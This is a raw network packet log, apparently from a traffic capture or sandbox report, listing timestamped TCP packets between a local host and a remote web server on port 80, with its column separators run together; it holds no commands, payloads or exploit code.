                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:46.720468044 CET4985080192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:46.720535994 CET804985031.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:46.720616102 CET4985080192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:46.721568108 CET804985031.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:46.721715927 CET804985031.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:46.721740961 CET4985080192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:46.721771955 CET4985080192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:46.722675085 CET804985031.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:46.722733021 CET4985080192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:46.722815990 CET804985031.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:46.722876072 CET4985080192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:46.723845005 CET804985031.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:46.723911047 CET4985080192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:46.723978043 CET804985031.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:46.724039078 CET4985080192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:46.724998951 CET804985031.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:46.725054979 CET4985080192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:46.725117922 CET804985031.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:46.725188017 CET4985080192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:46.726171970 CET804985031.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:46.726262093 CET804985031.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:46.726320982 CET4985080192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:46.727385044 CET804985031.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:46.727421045 CET804985031.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:46.727446079 CET4985080192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:46.727474928 CET4985080192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:46.728430033 CET804985031.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:46.728488922 CET4985080192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:46.728557110 CET804985031.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:46.728611946 CET4985080192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:46.729579926 CET804985031.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:46.729640007 CET4985080192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:46.729711056 CET804985031.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:46.729777098 CET4985080192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:46.730727911 CET804985031.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:46.730787992 CET4985080192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:46.730940104 CET804985031.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:46.730994940 CET4985080192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:46.731997013 CET804985031.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:46.732060909 CET4985080192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:46.732144117 CET804985031.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:46.732202053 CET4985080192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:46.733050108 CET804985031.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:46.733103037 CET4985080192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:46.733129025 CET804985031.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:46.733182907 CET4985080192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:46.734200954 CET804985031.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:46.734396935 CET804985031.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:46.734453917 CET4985080192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:46.735332012 CET804985031.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:46.735387087 CET4985080192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:46.735450029 CET804985031.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:46.735507965 CET4985080192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:46.736478090 CET804985031.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:46.736536026 CET4985080192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:46.736603022 CET804985031.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:46.736664057 CET4985080192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:46.737684011 CET804985031.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:46.737776995 CET804985031.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:46.737839937 CET4985080192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:46.738802910 CET804985031.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:46.738866091 CET4985080192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:46.738986015 CET804985031.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:46.739048958 CET4985080192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:46.739912987 CET804985031.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:46.739975929 CET4985080192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:46.740026951 CET804985031.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:46.740082979 CET4985080192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:46.741075039 CET804985031.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:46.741147041 CET4985080192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:46.741189003 CET804985031.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:46.741252899 CET4985080192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:46.742187977 CET804985031.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:46.742316961 CET804985031.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:46.742369890 CET4985080192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:46.743379116 CET804985031.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:46.743432045 CET804985031.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:46.743438005 CET4985080192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:46.743488073 CET4985080192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:46.744479895 CET804985031.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:46.744537115 CET4985080192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:46.744585991 CET804985031.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:46.744640112 CET4985080192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:46.745692968 CET804985031.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:46.745805979 CET804985031.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:46.745872974 CET4985080192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:46.746779919 CET804985031.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:46.746844053 CET4985080192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:46.746865988 CET804985031.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:46.746923923 CET4985080192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:46.748100042 CET804985031.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:46.748192072 CET804985031.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:46.748195887 CET4985080192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:46.748248100 CET4985080192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:46.749090910 CET804985031.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:46.749145031 CET4985080192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:46.749191999 CET804985031.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:46.749258995 CET4985080192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:46.750262022 CET804985031.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:46.750369072 CET804985031.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:46.750427008 CET4985080192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:46.751420975 CET804985031.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:46.751471043 CET4985080192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:46.751584053 CET804985031.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:46.751641989 CET4985080192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:46.752554893 CET804985031.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:46.752628088 CET4985080192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:46.752660990 CET804985031.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:46.752721071 CET4985080192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:46.753734112 CET804985031.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:46.753887892 CET804985031.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:46.753946066 CET4985080192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:46.754829884 CET804985031.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:46.754884005 CET4985080192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:46.754952908 CET804985031.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:46.755212069 CET4985080192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:46.755992889 CET804985031.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:46.756053925 CET4985080192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:46.756131887 CET804985031.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:46.756192923 CET4985080192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:46.757131100 CET804985031.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:46.757180929 CET804985031.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:46.757189989 CET4985080192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:46.757235050 CET4985080192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:46.758339882 CET804985031.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:46.758459091 CET804985031.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:46.758527040 CET4985080192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:46.759464025 CET804985031.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:46.759522915 CET4985080192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:46.759567022 CET804985031.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:46.759629011 CET4985080192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:46.760611057 CET804985031.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:46.760663033 CET4985080192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:46.760740995 CET804985031.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:46.760796070 CET4985080192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:46.761768103 CET804985031.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:46.761852026 CET804985031.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:46.761913061 CET4985080192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:46.762901068 CET804985031.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:46.762960911 CET4985080192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:46.763039112 CET804985031.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:46.763098955 CET4985080192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:46.764053106 CET804985031.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:46.764106989 CET4985080192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:46.764153957 CET804985031.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:46.764209032 CET4985080192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:46.765180111 CET804985031.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:46.765238047 CET4985080192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:46.765316010 CET804985031.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:46.765369892 CET4985080192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:46.766345024 CET804985031.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:46.766469955 CET804985031.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:46.766530037 CET4985080192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:46.767467022 CET804985031.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:46.767523050 CET4985080192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:46.767595053 CET804985031.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:46.767647028 CET4985080192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:46.768718004 CET804985031.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:46.768821955 CET4985080192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:46.768835068 CET804985031.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:46.768888950 CET4985080192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:46.769752026 CET804985031.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:46.769877911 CET804985031.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:46.769931078 CET4985080192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:46.770894051 CET804985031.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:46.770952940 CET4985080192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:46.770984888 CET804985031.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:46.771053076 CET4985080192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:46.882013083 CET804985031.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:46.882066011 CET804985031.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:46.882077932 CET4985080192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:46.882119894 CET4985080192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:46.882119894 CET4985080192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:46.882185936 CET804985031.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:46.882241011 CET804985031.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:46.882302046 CET4985080192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:46.883186102 CET804985031.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:46.883234978 CET4985080192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:46.883348942 CET804985031.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:46.883503914 CET4985080192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:46.884450912 CET804985031.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:46.884520054 CET4985080192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:46.907483101 CET804985031.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:46.907543898 CET4985080192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:46.907653093 CET804985031.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:46.907708883 CET4985080192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:46.908003092 CET804985031.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:46.908067942 CET4985080192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:46.908174038 CET804985031.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:46.908252001 CET4985080192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:46.909362078 CET804985031.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:46.909419060 CET804985031.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:46.909421921 CET4985080192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:46.909466028 CET4985080192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:46.910346985 CET804985031.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:46.910417080 CET804985031.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:46.910425901 CET4985080192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:46.910468102 CET4985080192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:46.911468029 CET804985031.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:46.911530972 CET4985080192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:46.911667109 CET804985031.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:46.911748886 CET4985080192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:46.912698984 CET804985031.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:46.912758112 CET4985080192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:46.912811041 CET804985031.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:46.913186073 CET4985080192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:46.913784027 CET804985031.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:46.913840055 CET804985031.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:46.913898945 CET4985080192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:46.914935112 CET804985031.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:46.914999962 CET4985080192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:46.915050030 CET804985031.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:46.915108919 CET4985080192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:46.916289091 CET804985031.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:46.916347980 CET4985080192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:46.916505098 CET804985031.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:46.916594982 CET4985080192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:46.917258978 CET804985031.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:46.917318106 CET4985080192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:46.917362928 CET804985031.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:46.917409897 CET4985080192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:46.918373108 CET804985031.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:46.918453932 CET804985031.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:46.918533087 CET4985080192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:46.919554949 CET804985031.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:46.919631004 CET4985080192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:46.919733047 CET804985031.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:46.919785976 CET4985080192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:46.921020031 CET804985031.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:46.921132088 CET804985031.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:46.921144009 CET4985080192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:46.921185970 CET4985080192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:46.922182083 CET804985031.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:46.922240973 CET4985080192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:46.922353983 CET804985031.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:46.922513008 CET4985080192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:46.923254013 CET804985031.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:46.923329115 CET4985080192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:46.923369884 CET804985031.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:46.923485994 CET4985080192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:46.924226999 CET804985031.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:46.924293041 CET4985080192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:46.924359083 CET804985031.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:46.924412012 CET4985080192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:46.925322056 CET804985031.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:46.925386906 CET4985080192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:46.925398111 CET804985031.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:46.925451994 CET4985080192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:46.926414013 CET804985031.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:46.926469088 CET804985031.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:46.926474094 CET4985080192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:46.927645922 CET804985031.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:46.927694082 CET4985080192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:46.927695036 CET4985080192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:46.927720070 CET804985031.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:46.927773952 CET4985080192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:46.928788900 CET804985031.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:46.928844929 CET804985031.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:46.928853989 CET4985080192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:46.928898096 CET4985080192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:46.929882050 CET804985031.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:46.929934978 CET4985080192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:46.930005074 CET804985031.41.244.11192.168.2.4
